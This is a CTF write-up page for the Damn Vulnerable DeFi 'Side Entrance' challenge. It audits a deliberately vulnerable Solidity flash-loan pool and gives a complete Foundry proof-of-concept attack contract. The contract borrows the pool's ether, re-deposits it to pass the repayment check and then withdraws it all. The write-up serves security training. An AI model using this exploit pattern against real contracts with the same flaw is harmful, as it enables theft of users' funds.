ctfwriteup
  • โœ…/home/ret2basic.eth
  • Game Hacking
    • ๐Ÿ‘‘Pwn Adventure 3: Pwnie Island
      • โœ…Prep: Speed Hack
      • โœ…Prep: Infinite Health and Mana (Offline)
      • โœ…Prep: Analyze Network Packets with Wireshark
      • Prep: Build a Proxy in Python
      • โœ…Until the Cows Come Home
      • Unbearable Revenge
      • Pirate's Treasure
    • Cheat Engine Tutorial
      • โœ…Step 1: Setup
      • โœ…Step 2: Scan for "Exact Value"
      • โœ…Step 3: Scan for "Unknown initial value"
      • โœ…Step 4: Scan for float and double
      • โœ…Step 5: Replace instruction
      • Step 6: Pointer scanning
      • Step 7: Code injection
      • Step 8: Multilevel pointers
      • Step 9: Shared code
  • Web3 CTF
    • ๐Ÿ‘‘Remedy CTF 2025 (Todo)
      • Diamond Heist
      • R vs Q
      • Rich Man's Bet
      • Casino Avengers
      • Frozen Voting
      • Lockdown
      • Proof of Thought
      • Maybe it's unnecessary?
      • Et tu, Permit2?
      • Not a very LUCKY TOKEN
      • risc4
      • HealthCheck as a Service
      • Restricted Proxy
      • Unstable Pool
      • Opaze Whisperer
      • "memorable" onlyOwner
      • World of Memecraft
      • Copy/Paste/Deploy
      • Peer-to-peer-to-me
      • Joe's Lending Mirage
      • Tokemak
      • OFAC Executive Order 13337
    • ๐Ÿ‘‘Paradigm CTF 2023 (Todo)
      • Oven
      • Dragon Tyrant
    • Damn Vulnerable DeFi
      • โœ…Unstoppable
      • โœ…Naive Receiver
      • โœ…Truster
      • โœ…Side Entrance
      • โœ…The Rewarder
      • โœ…Selfie
      • โœ…Compromised
      • โœ…Puppet
      • โœ…Puppet V2
      • โœ…Free Rider
      • Backdoor
      • Climber
      • Wallet Mining (Todo)
      • Puppet V3 (Todo)
      • ABI Smuggling (Todo)
    • Milotruck Challs
      • โœ…Greyhats Dollar
      • Escrow
      • Simple AMM Vault
      • Voting Vault
      • โœ…Meta Staking
      • โœ…Gnosis Unsafe
    • Secureum AMAZEX DSS Paris
      • โœ…Operation magic redemption
      • Mission Modern WETH: Rescue the Ether
      • LendEx pool hack
      • Operation Rescue POSI Token!
      • Balloon Vault
      • Safe Yield?
      • โœ…Crystal DAO
      • โœ…Liquidatoooor
    • โœ…Ethernaut
      • โœ…Hello Ethernaut
      • โœ…Fallback
      • โœ…Fallout
      • โœ…Coin Flip
      • โœ…Telephone
      • โœ…Token
      • โœ…Delegation
      • โœ…Force
      • โœ…Vault
      • โœ…King
      • โœ…Re-entrancy
      • โœ…Elevator
      • โœ…Privacy
      • โœ…Gatekeeper One
      • โœ…Gatekeeper Two
      • โœ…Naught Coin
      • โœ…Preservation
      • โœ…Recovery
      • โœ…MagicNumber
      • โœ…Alien Codex
      • โœ…Denial
      • โœ…Shop
      • โœ…DEX
      • โœ…DEX Two
      • โœ…Puzzle Wallet
      • Motorbike
      • DoubleEntryPoint
      • โœ…Good Samaritan
      • Gatekeeper Three
      • Switch
    • โœ…Flashbots MEV-Share CTF
    • โœ…Capture the Ether
      • โœ…Lotteries
      • โœ…Math
      • โœ…Miscellaneous
    • โœ…EVM Puzzles
      • โœ…Puzzle 1
      • โœ…Puzzle 2
      • โœ…Puzzle 3
      • โœ…Puzzle 4
      • โœ…Puzzle 5
      • โœ…Puzzle 6
      • โœ…Puzzle 7
      • โœ…Puzzle 8
      • โœ…Puzzle 9
      • โœ…Puzzle 10
    • โœ…More EVM Puzzles
      • โœ…Puzzle 1
      • โœ…Puzzle 2
      • โœ…Puzzle 3
      • โœ…Puzzle 4
      • โœ…Puzzle 5
      • โœ…Puzzle 6
      • โœ…Puzzle 7
      • โœ…Puzzle 8
      • โœ…Puzzle 9
      • โœ…Puzzle 10
    • โœ…QuillCTF
      • โœ…MetaToken
      • โœ…Temporary Variable
      • KeyCraft
      • โœ…Lottery
      • โœ…Private Club
      • Voting Machine
      • โœ…Predictable NFT
      • โœ…Invest Pool
      • PseudoRandom
      • โœ…Gold NFT
      • Slot Puzzle
      • Moloch's Vault
      • โœ…Donate
      • โœ…WETH-11
      • Panda Token
      • Gate
      • โœ…WETH10
      • โœ…Pelusa
      • โœ…True XOR
      • โœ…Collatz Puzzle
      • โœ…D31eg4t3
      • โœ…Safe NFT
      • โœ…VIP Bank
      • โœ…Confidential Hash
      • โœ…Road Closed
    • โœ…unhacked
      • โœ…reaper
  • RareSkills Puzzles
    • Solidity Exercises
    • Solidity Riddles
    • Yul Puzzles
      • โœ…01 - ReturnBool
      • โœ…02 - SimpleRevert
      • โœ…03 - Return42
      • โœ…04 - RevertWithError
      • โœ…05 - RevertWithSelectorPlusArgs
      • 06 - RevertWithPanic
    • Huff Puzzles
    • Uniswap V2 Puzzles
    • Zero Knowledge Puzzles
  • Web2 CTF
    • Grey Cat CTF 2024
      • โœ…Web Challs
    • pwn.college
      • Introduction
        • What is Computer Systems Security?
      • Program Interaction
        • Linux Command Line
        • ๐Ÿšฉembryoio
      • Program Misuse
        • Privilege Escalation
        • Mitigations
        • ๐Ÿšฉbabysuid
      • Assembly Refresher
        • x86 Assembly
        • ๐Ÿšฉembryoasm
      • Shellcoding
        • Introduction
        • Common Challenges
        • Data Execution Prevention
        • ๐Ÿšฉbabyshell
      • Sandboxing
        • chroot
        • seccomp
        • Escaping seccomp
        • ๐Ÿšฉbabyjail
      • Debugging Refresher
        • x86 Assembly
        • ๐Ÿšฉembryogdb
      • Binary Reverse Engineering
        • Functions and Frames
        • Data Access
        • Static Tools
        • Dynamic Tools
        • Real-world Applications
        • ๐Ÿšฉbabyrev
      • Memory Errors
        • High-Level Problems
        • Smashing the Stack
        • Causes of Corruption
        • Canary
        • ASLR
        • Causes of Disclosure
        • ๐Ÿšฉbabymem
      • Exploitation
        • Introduction
        • Hijacking to Shellcode
        • Side Effects
        • JIT Spray
        • ๐Ÿšฉtoddler1
      • Return Oriented Programming
        • Binary Lego
        • Techniques
        • Complications
        • ๐Ÿšฉbabyrop
      • Dynamic Allocator Misuse
        • What is the Heap?
        • Dangers of the Heap
        • tcache
        • Chunks and Metadata
        • Metadata Corruption
        • ๐Ÿšฉbabyheap
      • Race Conditions
        • Introduction
        • Races in the Filesystem
        • ๐Ÿšฉbabyrace
      • Kernel Security
        • Environment Setup
        • Kernel Modules
        • Privilege Escalation
        • ๐Ÿšฉbabykernel
      • Advanced Exploitation
        • toddler2
    • pwnable.kr
      • fd
      • collision
      • bof
      • flag
      • passcode
      • random
      • input
      • leg
      • mistake
      • shellshock
      • coin1
      • blackjack
      • lotto
      • cmd1
      • cmd2
      • uaf
      • memcpy
      • asm
      • unlink
      • blukat
      • horcruxes
    • ROP Emporium
      • ret2win
      • split
      • callme
      • write4
      • pivot
    • โœ…Jarvis OJ Pwn Xman Series
    • โœ…Jarvis OJ Crypto RSA Series
    • โœ…picoMini by redpwn
      • Binary Exploitation
      • Reverse Engineering
      • Cryptography
      • Web Exploitation
      • Forensics
    • โœ…picoCTF 2021
      • Reverse Engineering
      • Web Exploitation
      • Forensics
    • โœ…picoCTF 2020 Mini-Competition
  • Red Teaming
    • vulnlab
      • Active Directory Chains
        • โœ…Trusted (Easy)
        • Hybrid (Easy)
        • Lustrous (Medium)
        • Reflection (Medium)
        • Intercept (Hard)
      • Red Team Labs
        • Wutai (Medium)
        • Shinra (Hard)
    • Hack The Box
      • AD
        • Intelligence
        • Pivotapi
        • Sharp
        • Monteverde
        • Resolute
        • Endgame: P.O.O.
        • Forest
        • Sauna
        • Active
        • Blackfield
      • โœ…Linux
        • โœ…Safe (Easy)
        • โœ…Delivery (Easy)
        • โœ…TheNotebook (Medium)
        • โœ…Brainfuck (Insane)
    • TCM Windows Privilege Escalation Course
      • โœ…Hack The Box - Chatterbox (Medium)
      • Hack The Box - SecNotes (Medium)
    • โœ…TCM Linux Privilege Escalation Course
      • โœ…TryHackMe - Simple CTF (Easy)
      • โœ…TryHackMe - Vulnversity (Easy)
      • โœ…TryHackMe - CMesS (Medium)
      • โœ…TryHackMe - UltraTech (Medium)
      • โœ…TryHackMe - LazyAdmin (Easy)
      • โœ…TryHackMe - Anonymous (Medium)
      • โœ…TryHackMe - tomghost (Easy)
      • โœ…TryHackMe - ConvertMyVideo (Medium)
      • โœ…TryHackMe - Brainpan 1 (Hard)
Powered by GitBook
On this page
  • Description
  • TL;DR
  • Code Audit
  • Building PoC
  1. Web3 CTF
  2. Damn Vulnerable DeFi

Side Entrance

Description

A surprisingly simple pool allows anyone to deposit ETH, and withdraw it at any point in time.

It has 1000 ETH in balance already, and is offering free flash loans using the deposited ETH to promote their system.

Starting with 1 ETH in balance, pass the challenge by taking all ETH from the pool.

TL;DR

We can borrow flashloan and immediately deposit the money you just borrowed into the same contract. By doing so, the invariant in flashLoan() is bypassed and we can withdraw balance later.

Code Audit

The contract implements 3 functions:

  • deposit()

  • withdraw()

  • flashLoan()

deposit() function:

function deposit() external payable {
    unchecked {
        balances[msg.sender] += msg.value;
    }
    emit Deposit(msg.sender, msg.value);
}

Looks ok.

withdraw() function:

function withdraw() external {
    uint256 amount = balances[msg.sender];
    
    delete balances[msg.sender];
    emit Withdraw(msg.sender, amount);

    SafeTransferLib.safeTransferETH(msg.sender, amount);
}

Follows checks-effects-interactions pattern, looks ok.

flashLoan() function:

function flashLoan(uint256 amount) external {
    uint256 balanceBefore = address(this).balance;

    IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

    if (address(this).balance < balanceBefore)
        revert RepayFailed();
}

At IFlashLoanEtherReceiver(msg.sender).execute{value: amount}() we can call flashLoan() to borrow all the fund in this pool. Next we have to find out a way to bypass the check:

if (address(this).balance < balanceBefore)
    revert RepayFailed();

This check can be bypassed by calling deposit() once we receive the flash loan. The attack steps:

  • The attack contract's pwn() function calls flashLoan() to borrow all the fund in the pool. In this step IFlashLoanEtherReceiver(msg.sender).execute{value: amount}() will be called.

  • In attack contract's execute() function call deposit() to deposit the flash loan we just borrowed. At this stage the if (address(this).balance < balanceBefore) check will be bypassed because the borrowed money was deposited into the same contract, therefore address(this).balance == balanceBefore.

  • When flashLoan() finishes executing, call withdraw() to take all the money out.

Building PoC

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;

import {Utilities} from "../../utils/Utilities.sol";
import "forge-std/Test.sol";

import {SideEntranceLenderPool} from "../../../src/Contracts/side-entrance/SideEntranceLenderPool.sol";

contract SideEntrance is Test {
    uint256 internal constant ETHER_IN_POOL = 1_000e18;

    Utilities internal utils;
    SideEntranceLenderPool internal sideEntranceLenderPool;
    address payable internal attacker;
    uint256 public attackerInitialEthBalance;

    function setUp() public {
        utils = new Utilities();
        address payable[] memory users = utils.createUsers(1);
        attacker = users[0];
        vm.label(attacker, "Attacker");

        sideEntranceLenderPool = new SideEntranceLenderPool();
        vm.label(address(sideEntranceLenderPool), "Side Entrance Lender Pool");

        vm.deal(address(sideEntranceLenderPool), ETHER_IN_POOL);

        assertEq(address(sideEntranceLenderPool).balance, ETHER_IN_POOL);

        attackerInitialEthBalance = address(attacker).balance;

        console.log(unicode"๐Ÿงจ Let's see if you can break it... ๐Ÿงจ");
    }

    function testExploit() public {
        /**
         * EXPLOIT START *
         */
        vm.startPrank(attacker);
        FlashLoanEtherReceiver flashLoanEtherReceiver = new FlashLoanEtherReceiver(sideEntranceLenderPool);
        flashLoanEtherReceiver.pwn();
        vm.stopPrank();
        /**
         * EXPLOIT END *
         */
        validation();
        console.log(unicode"\n๐ŸŽ‰ Congratulations, you can go to the next level! ๐ŸŽ‰");
    }

    function validation() internal {
        assertEq(address(sideEntranceLenderPool).balance, 0);
        assertGt(attacker.balance, attackerInitialEthBalance);
    }
}

contract FlashLoanEtherReceiver {
    SideEntranceLenderPool sideEntranceLenderPool;
    address owner;

    constructor(SideEntranceLenderPool _sideEntranceLenderPool) {
        owner = msg.sender;
        sideEntranceLenderPool = _sideEntranceLenderPool;
    }

    function execute() external payable {
        require(msg.sender == address(sideEntranceLenderPool), "only pool can call this function");
        sideEntranceLenderPool.deposit{value: msg.value}();
    }

    function pwn() external {
        require(msg.sender == owner, "only owner can call this function");
        sideEntranceLenderPool.flashLoan(address(sideEntranceLenderPool).balance);

        // We have deposited all the flashloan we borrowed inside execute(),
        // so we have lots of balance at this stage
        sideEntranceLenderPool.withdraw();
        payable(owner).transfer(address(this).balance);
    }

    receive () external payable {}
}
PreviousTrusterNextThe Rewarder

Last updated 1 year ago

โœ